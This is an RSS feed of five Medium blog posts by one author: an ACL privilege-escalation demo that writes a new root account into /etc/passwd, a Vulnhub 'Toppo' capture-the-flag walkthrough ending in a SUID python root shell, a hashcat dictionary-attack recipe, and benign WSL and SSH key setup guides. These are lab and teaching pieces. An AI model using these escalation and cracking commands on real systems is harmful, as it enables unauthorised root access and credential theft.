<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tanishq🇮🇳 on Medium]]></title>
        <description><![CDATA[Stories by Tanishq🇮🇳 on Medium]]></description>
        <link>https://medium.com/@tanishqrathore?source=rss-e992719095e9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Xvs6YNVjyH445huWxfYzBQ.jpeg</url>
            <title>Stories by Tanishq🇮🇳 on Medium</title>
            <link>https://medium.com/@tanishqrathore?source=rss-e992719095e9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:49:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tanishqrathore/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ACL Privilege Escalation]]></title>
            <link>https://tanishqrathore.medium.com/acl-privilege-escalation-3f7835459965?source=rss-e992719095e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f7835459965</guid>
            <category><![CDATA[acl]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[privilege]]></category>
            <category><![CDATA[escalation]]></category>
            <dc:creator><![CDATA[Tanishq]]></dc:creator>
            <pubDate>Fri, 03 Sep 2021 15:09:45 GMT</pubDate>
            <atom:updated>2021-09-03T15:09:45.211Z</atom:updated>
            <content:encoded><![CDATA[<p>I am writing this blog because I didn’t find much resources on ACL privilege escalation</p><p>ACL is special permission given to specific user on XFS file system</p><p>First I will show you how we can configure ACL and make our system vulnerable then we will exploit to get superuser</p><h3>Configuration</h3><p>I am setting this permission on <em>/etc/passwd</em></p><p>syntax</p><pre># setfacl -m “u:username:permissions” file.txt</pre><p>so the permission which I am setting for passwd are</p><pre># setfacl -m &quot;u:tanishq:rwx&quot; /etc/passwd</pre><p>now our work is done if you want to remove the permission you can use the command I am giving down below</p><pre># setfacl -b /etc/passwd</pre><h3>LETS EXPLOIT</h3><p>for exploiting I am using a normal user with no special sudo powers</p><p>for finding out ACL power files use the command</p><pre>$ rm /tmp/getfacl.txt; getfacl -R -s -p / 2&gt;/dev/null &gt; /tmp/getfacl.txt; cat /tmp/getfacl.txt | grep -v &quot;getfacl:&quot;</pre><p>it will result files with ACL permission now try to find which can help us in some way to escalate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pe5L-feylPtbKMGvqMG5Xg.png" /></figure><p>here at the end see our current user have permission to write in passwd</p><p>now we will try to create a new user and give it our custom password</p><pre>$ vim /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*pEvza2iGs4NqTgexOGvoMg.png" /></figure><p>here I have created a new user with the name of root_me</p><pre>$ vim /etc/passwd</pre><p>and for password I used openssl command</p><pre>MAIN HOST# openssl passwd 123</pre><p>now save the file</p><p>and switch the user</p><pre>$ su - root_me</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*1qhgmAFNLq-aAhCoHJquew.png" /></figure><p>here we got root with ACL misconfiguration</p><p>If you are still confuse or have a better way dm me on twitter <a href="https://twitter.com/root_tanishq">root_tanishq</a></p><p>Bye :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f7835459965" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Toppo Vulnhub Walkthrough]]></title>
            <link>https://tanishqrathore.medium.com/toppo-vulnhub-walkthrough-7c9775f08070?source=rss-e992719095e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c9775f08070</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[postop]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Tanishq]]></dc:creator>
            <pubDate>Sun, 29 Aug 2021 09:05:49 GMT</pubDate>
            <atom:updated>2021-08-29T09:05:49.598Z</atom:updated>
            <content:encoded><![CDATA[<p>Methodology</p><ol><li>Scanning for ports</li><li>Nikto scan</li><li>accessing machine via ssh</li><li>suid privilege escalation</li></ol><p>Firstly for finding out the IP I used netdiscover</p><blockquote># netdiscover -i eth0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*NpcUgyd4IaikvWsu7kwUYw.png" /></figure><p>then I did the nmap scan from which I found out the 3 open ports</p><blockquote># nmap -v -p 22,80,111,60752 -sT -sV -sC -A -O -oN nmap/toppo_initial 192.168.1.5</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*DYNivQhY1na9C1oWK-SEAQ.png" /></figure><p>from looking at the nmap scan we can say that openssh and apache both are not vulnerable , so I visited 80 port which is simple blog template from bootstrap</p><blockquote>http://192.168.1.5/</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9zow6OdT45D1uGEr9RxNHw.png" /></figure><p>then for more information about the webserver I did the nikto scan</p><blockquote># nikto -h 192.168.1.5 -port 80</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9yDB2Rh_avvcwstJ229A5Q.png" /></figure><p>from nikto scan I find out that there is a directory name admin on webserver with directory indexing</p><blockquote>http://192.168.1.5/admin</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*8EJ02YFswecKzBwb6NMKtA.png" /></figure><p>from admin we found out that there is a note file which can be helpful for us</p><blockquote>http://192.168.1.5/admin/notes.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*WxszfTj2K-p5Q6U1Djq4VQ.png" /></figure><p>we found out a personal note revealing the password of admin for username I tried ted as its a part of password</p><blockquote># ssh ted@192.168.1.5</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*4s8rIwRgZunKylv0yJ76Lw.png" /></figure><p>I created a session with ssh with the credentials we founded</p><p>now for privilege escalation I tried finding some files with suid permission on the machine</p><blockquote>$ find / -perm -u=s -type f 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*uq9iF9qXnX6bOyw2zO8LJg.png" /></figure><p>from the given output we found out that python2.7 binary is having suid permissions which can be useful for us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ApY7d89cki9EO6BNTfHIhw.png" /></figure><blockquote>$ python -c “import os; os.execl(‘/bin/bash’,’bash’,’-p’)”</blockquote><p>with the above command we were able to get a root shell</p><p>FLAG</p><blockquote># cat /root/flag.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*cKyQH5Ll5XamvLUnTgY7-g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c9775f08070" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hashcat Dictionary attack]]></title>
            <link>https://tanishqrathore.medium.com/hashcat-dictionary-attack-619424ca9acf?source=rss-e992719095e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/619424ca9acf</guid>
            <category><![CDATA[dictionary-attack]]></category>
            <category><![CDATA[password-cracking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[passwords]]></category>
            <dc:creator><![CDATA[Tanishq]]></dc:creator>
            <pubDate>Thu, 10 Jun 2021 03:19:01 GMT</pubDate>
            <atom:updated>2021-06-10T03:19:01.537Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone in this blog I am going to provide simple commands to directly use hashcat for dictionary attacks(note:This is not a complete tutorial for hashcat ,It’s just on the go commands for hashcat dictionary attack)</p><p>For demo purpose I am choosing this hash which I have taken from rockyou.txt</p><p>And converted into hash with any algorithm</p><p>Hash:-</p><h4>38A36323010129E734091CBC51F7F8B73EA1FE5F8D8F2308837639F4597F2DA20AF13E1FFAD4800B3602A3AB15E412565B39F10B884BCB53B77C2CCE498DBAEB</h4><p>First we need to identify the algorithm used for encrypting this hash</p><p>For which we will use<em> hashid</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1VRLMbkZNGfEDwU5" /></figure><blockquote># hashid -m ‘38A36323010129E734091CBC51F7F8B73EA1FE5F8D8F2308837639F4597F2DA20AF13E1FFAD4800B3602A3AB15E412565B39F10B884BCB53B77C2CCE498DBAEB’</blockquote><p>As it suggests that this hash is SHA512</p><p>The value next to the -m in hashid is hash type number for hashcat (remember it)</p><p>Now we need to save this hash in a file in order to use it</p><blockquote># vim hash.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rmnvt6EW-xpvIVMg" /></figure><p>Now we are completely ready to crack this password</p><blockquote># hashcat -m 1700 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -o hash-out.txt</blockquote><p>Inplace of rockyou you can provide any wordlist of your wish</p><p>[Replace the value of -m to the value you get from hashid]</p><p>After a certain time shown by hashcat the password will be cracked and we have save the password using <em>-o </em>in a file</p><p>So check the contain of <em>hash-out.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/0*Qispho0hFe1V67hm" /></figure><p>The password is at the end of the hash</p><p>For this hash the password is <strong>“19950128love&amp;money”</strong></p><p>Your password is cracked using dictionary attack</p><p>Thank you for reading❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=619424ca9acf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use Windows and Linux both at the same time(no resources sharing)]]></title>
            <link>https://tanishqrathore.medium.com/how-to-use-windows-and-linux-both-at-the-same-time-no-resources-sharing-a0889449ec2f?source=rss-e992719095e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0889449ec2f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[virtual]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Tanishq]]></dc:creator>
            <pubDate>Fri, 02 Apr 2021 14:41:01 GMT</pubDate>
            <atom:updated>2021-04-02T14:41:01.701Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone , I know many of you guys use linux and windows in dualboot and we all know it sucks way badly, like you cant use windows and linux at the same time and due to linux’s different file format file sharing experience is trash or if you don’t use this way you will be probably using linux in virtualmachine and it hangs too much and also you cant use the best out of them but there is a way better solution as we all are habitual to linux terminal we can work without the graphics also with no sharing resources and dual boot ,let’s dive into it</p><p>Firstly you should have an uptodate windows 10 then you should have enabled linux feature in windows 10 as shown in the image .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*rEWQ2GgtC5KFCzCqMt8GQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*BAAW73DNXEiAEVwXXRbOpA.jpeg" /></figure><p>Then make sure to restart your PC</p><p>After that its like a piece of cake you have to go to the Microsoft Store than download your desired linux there are two options available now kali linux and ubuntu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsTv9tga5-Wy8XPMZPh_Qw.jpeg" /></figure><p>After installing launch it, it will launch the cmd like shell in which it will take some minutes and then after it will ask you for the name of your user and password</p><p>Hurray its done now you have linux install without sharing resources , as you can see in this image✌</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tk8vIi_HdJ4Hsz8DBm9SDw.jpeg" /></figure><p>Thank you for reading😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0889449ec2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to use public key authentication in ssh]]></title>
            <link>https://tanishqrathore.medium.com/how-to-use-public-key-authentication-in-ssh-6060bd9f83f5?source=rss-e992719095e9------2</link>
            <guid isPermaLink="false">https://medium.com/p/6060bd9f83f5</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[ssh]]></category>
            <dc:creator><![CDATA[Tanishq]]></dc:creator>
            <pubDate>Wed, 10 Feb 2021 14:48:55 GMT</pubDate>
            <atom:updated>2021-02-10T14:48:55.315Z</atom:updated>
            <content:encoded><![CDATA[<p>ssh is one of the most effective tool for remote connection with server, but password is not enough for security because passwords can be easily guess or can be easily bruteforce .So there is a good and a secure way to access servers without compromising security which is Publicy key authentication .So in this blog I will explain how can we enable public key authentication on a linux server .</p><p>1st of all there is a file name sshd_config through we can manage ssh settings of openssh.</p><p>This file is located in</p><p><strong>/etc/ssh/sshd_config</strong></p><p>in which we need to uncomment the public key line in order to use the key authentication feature</p><p>after which we have to define the location where we want to put the authentication file</p><p>by default the location is <strong>~/.ssh/authorized_keys</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*j_trfk2Xs3AcUSZwqLGKKw.png" /></figure><p>You can provide custom location where you want to put the authetication file.For now I am not changing anything and then from the user through which you want to use the Public key ,run this command</p><p><strong># ssh-keygen</strong></p><p>then provide the location where you want to put the file by default its in</p><p><strong>~/.ssh/id_rsa</strong></p><p>then you have to enter a good passphrase for double security or you can just hit enter for no passphrase</p><p>then on the location of your public key change the id_rsa.pub to the name you have define in the <strong>/etc/ssh/sshd_config</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*jjxrhiKVd-jDqI9CaYmjog.png" /></figure><p>now for the changes you made in the default setting ,you need to restart the ssh service to use them properly,use this command with root privileges</p><p><strong>systemctl restart sshd.service</strong></p><p>Now you have your server with public key authentication ,the only thing left is to provide keys to client .So you need to provide id_rsa key to your clients and for proper working change the permission of authentication key to 600.In order to change the permission run this command on client hand</p><p><strong># chmod 600 [Your key location]</strong></p><p>Now all work is done ,you can use public key authentication on ssh.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6060bd9f83f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>